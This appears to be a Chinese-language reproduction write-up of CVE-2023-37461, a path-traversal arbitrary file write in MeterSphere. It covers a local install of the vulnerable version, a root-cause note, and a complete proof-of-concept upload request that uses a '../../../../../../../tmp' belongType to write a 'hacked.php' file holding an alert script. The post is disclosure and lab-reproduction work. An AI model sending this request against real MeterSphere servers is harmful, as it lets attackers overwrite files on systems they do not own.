【漏洞复现】CVE-2023-37461 Arbitrary File Writing

embedded/2024/12/23 2:42:18/

漏洞信息

NVD - cve-2023-37461

Metersphere is an opensource testing framework. Files uploaded to Metersphere may define a belongType value with a relative path like ../../../../ which may cause metersphere to attempt to overwrite an existing file in the defined location or to create a new file. Attackers would be limited to overwriting files that the metersphere process has access to. This issue has been addressed in version 2.10.3. Users are advised to upgrade. There are no known workarounds for this vulnerability.

背景介绍

MeterSphere is an open-source, continuous testing platform widely used by developers and QA managers for test plan management, data-driven testing, and test reporting metrics. It is engineered to integrate seamlessly with a variety of development and CI/CD toolchains to enhance productivity in DevOps environments. The platform supports functional UI, performance, and API testing, aiming to optimize testing workflows. The primary users of MeterSphere are software development teams and testing specialists seeking to attain high-quality assurance in their product cycles. Its robust plug-in architecture allows it to be extended and customized for specific workflows and tool integrations, making it adaptable across different industry requirements.

主页:https://metersphere.io/

源码:https://github.com/metersphere/metersphere

环境搭建

$ wget https://github.com/metersphere/metersphere/releases/download/v2.10.1-lts/metersphere-online-installer-v2.10.1-lts.tar.gz --no-check-certificate
$ tar zxvf metersphere-online-installer-v2.10.1-lts.tar.gz
$ cd metersphere-online-installer-v2.10.1-lts
$ sudo ./install.sh
$ msctl statusName                  Command               State                Ports         
--------------------------------------------------------------------------------------
api-test             /deployments/run-java.sh   Up (healthy)   0.0.0.0:10000->10000/tcp,:::10000->10000/tcp, 0.0.0.0:10001->10001/tcp,:::10001->10001/tcp, 0.0.0.0:10002->10002/tcp,:::10002->10002/tcp, 0.0.0.0:10003->10003/tcp,:::10003->10003/tcp, 0.0.0.0:10004->10004/tcp,:::10004->10004/tcp, 0.0.0.0:10005->10005/tcp,:::10005->10005/tcp, 0.0.0.0:10006->10006/tcp,:::10006->10006/tcp, 0.0.0.0:10007->10007/tcp,:::10007->10007/tcp, 0.0.0.0:10008->10008/tcp,:::10008->10008/tcp, 0.0.0.0:10009->10009/tcp,:::10009->10009/tcp, 0.0.0.0:10010->10010/tcp,:::10010->10010/tcp  
eureka               /deployments/run-java.sh   Up (healthy)                          
gateway              /deployments/run-java.sh   Up (healthy)   0.0.0.0:8081->8000/tcp,:::8081->8000/tcp      
kafka                /opt/bitnami/scripts/kaf   Up (healthy)   0.0.0.0:9092->9092/tcp,ka ...                                    :::9092->9092/tcp      
minio                /usr/bin/docker-           Up (healthy)   0.0.0.0:9000->9000/tcp,entrypoint ...                            :::9000->9000/tcp, 0.0.0.0:9001->9001/tcp,:::9001->9001/tcp          
ms-data-streaming    /deployments/run-java.sh   Up (healthy)                          
ms-node-controller   sh -c sed -i               Up (healthy)   0.0.0.0:8082->8082/tcp,"s/:101:/:136 ...                         :::8082->8082/tcp, 0.0.0.0:9100->9100/tcp,:::9100->9100/tcp          
ms-prometheus        /bin/prometheus            Up (healthy)   0.0.0.0:9091->9090/tcp,--config.f ...                            :::9091->9090/tcp      
mysql                docker-entrypoint.sh       Up (healthy)   0.0.0.0:3306->3306/tcp,mysqld                                    :::3306->3306/tcp,     33060/tcp              
nodeexporter         /bin/node_exporter         Up (healthy)                          --path. ...                                                      
performance-test     /deployments/run-java.sh   Up (healthy)                          
project-management   /deployments/run-java.sh   Up (healthy)                          
redis                docker-entrypoint.sh       Up (healthy)   0.0.0.0:6379->6379/tcp,redis ...                                 :::6379->6379/tcp      
report-stat          /deployments/run-java.sh   Up (healthy)                          
system-setting       /deployments/run-java.sh   Up (healthy)                          
test-track           /deployments/run-java.sh   Up (healthy)                          
workstation          /deployments/run-java.sh   Up (healthy) 

Debug1:访问Web UI有{"success":false,"message":"401 UNAUTHORIZED \"Not found session, Please Login again.\"","data":null}报错,一定要等待所有容器Up并healthy状态,后再等5min访问Web UI(不要中途切换)。

Debug2:9090端口号占用问题,在docker-compose-prometheus.ymlinstall.conf修改为9091即可。

# Debug3: Additionally
$ msctl restart gateway
$ msctl restart workstation
$ msctl restart prometheus

Web UI:http://127.0.0.1:8081

账号admin、密码metersphere

漏洞复现

参考:https://github.com/metersphere/metersphere/security/advisories/GHSA-xfr9-jgfp-fx3v

登录系统后按照如下步骤创建一个测试用例:
在这里插入图片描述

本地上传附件,触发Upload请求:

在这里插入图片描述

抓包,修改belongIdbelongType字段,发包后200 OK
在这里插入图片描述

POC:

POST /track/attachment/testcase/upload HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
CSRF-TOKEN: uzKF86dFBZ5H5IsT6tT1Zx3WibRCV3i9yQxwgR7zLKElhRigvfYLlvBxufS9MqxqnrIEJm2RCbAK/1pBGoEvrA==
X-AUTH-TOKEN: c34a7ff5-53b1-44ff-bd53-c03fe5c7b148
WORKSPACE: 7a6e6750-bdb8-11ef-bcf6-0242ac1e0a07
PROJECT: 7a6e9276-bdb8-11ef-bcf6-0242ac1e0a07
Content-Type: multipart/form-data; boundary=---------------------------108034667142566387213929135350
Content-Length: 480
Origin: http://127.0.0.1:8081
Connection: keep-alive
Referer: http://127.0.0.1:8081/
-----------------------------108034667142566387213929135350
Content-Disposition: form-data; name="file"; filename="hacked.php"
Content-Type: text/html
<script>alert("You are hacked\!")</script>
-----------------------------108034667142566387213929135350
Content-Disposition: form-data; name="request"; filename="blob"
Content-Type: application/json
{"belongId":"","belongType":"../../../../../../../tmp"}
-----------------------------108034667142566387213929135350--

漏洞分析

uploadAttachment方法检查了BelongType是否等于ISSUE以及TEST_CASE。如果都不是,就直接在函数saveAttachment中使用BelongType作为文件名的一部分,导致路径穿越。

请添加图片描述


http://www.ppmy.cn/embedded/147960.html

相关文章

windows C#-为枚举创建新方法

可使用扩展方法添加特定于某个特定枚举类型的功能。 示例 在下面的示例中&#xff0c;Grades 枚举表示学生可能在班里收到的字母等级分。 该示例将一个名为 Passing 的扩展方法添加到 Grades 类型中&#xff0c;以便该类型的每个实例现在都“知道”它是否表示合格的等级分。 …

【大语言模型】ACL2024论文-28 TTM-RE: 增强记忆的文档级关系抽取

【大语言模型】ACL2024论文-28 TTM-RE: 增强记忆的文档级关系抽取 目录 文章目录 目录文章信息摘要研究背景问题与挑战如何解决创新点算法模型实验效果推荐阅读指数&#xff1a;★★★★☆ 后记 文章信息 TTM-RE: 增强记忆的文档级关系抽取 摘要 本文提出了TTM-RE&#xff…

ESP8266 WiFi模块入门:搭建网络与测试实践

在物联网&#xff08;IoT&#xff09;应用中&#xff0c;设备联网是核心功能之一。而ESP8266串口WiFi ESP-01模块是一款低成本、功能强大的UART-WiFi透传模块&#xff0c;广泛应用于智能家居、工业控制等领域。本篇文章将从基础出发&#xff0c;讲解如何使用ESP8266模块进行WiF…

【教程】apache设置禁止通过IP访问,只能域名访问

转载请注明出处&#xff1a;小锋学长生活大爆炸[xfxuezhagn.cn] 如果本文帮助到了你&#xff0c;欢迎[点赞、收藏、关注]哦~ 目录 背景说明 效果演示 配置步骤 背景说明 暴露IP容易被扫描&#xff0c;而且会被DDOS等攻击。而域名则由于经过了DNS解析&#xff0c;可以很方便的…

【自动化】Python SeleniumUtil 工具 开启开发者模式 自动安装油猴用户脚本等

【自动化】Python SeleniumUtil 工具 【Python】使用Selenium 操作浏览器 自动化测试 记录-CSDN博客文章浏览阅读58次。文章浏览阅读42次。【附件】Selenium chromedriver 驱动及浏览器下载。【附件】Selenium chromedriver 驱动及浏览器下载-CSDN博客。3.安装Chrome浏览器驱动…

宏任务和微任务

但是事件循环中并非只维护着一个队列&#xff0c;事实上是有两个队列&#xff1a; 宏任务队列(macrotask queue)&#xff1a;ajax、setTimeout、setInterval、DOM监听、UI Rendering等 微任务队列(microtask queue)&#xff1a;Promise的then回调、Mutation Observer APl、queu…

类似于GitHub的平台

当然有类似于GitHub的平台&#xff0c;这些平台提供了类似的代码托管、版本控制、协作开发等功能。以下是不少于20个的类似GitHub的平台&#xff1a; GitLab&#xff1a; 自托管的Git存储库管理工具&#xff0c;提供代码托管、版本控制、问题跟踪、CI/CD等功能。支持自建部署&a…

opencv # Sobel算子、Laplacian算子、Canny边缘检测、findContours、drawContours绘制轮廓、外接矩形

一、Sobel算子 案例图片 cv2.Sobel(src, ddepth, dx, dy, ksize3, scale1, delta0, borderTypeNone) 功能&#xff1a;用于计算图像梯度&#xff08;gradient&#xff09;的函数 参数&#xff1a; src: 输入图像&#xff0c;它应该是灰度图像。 ddepth: 输出图像的所需深度&am…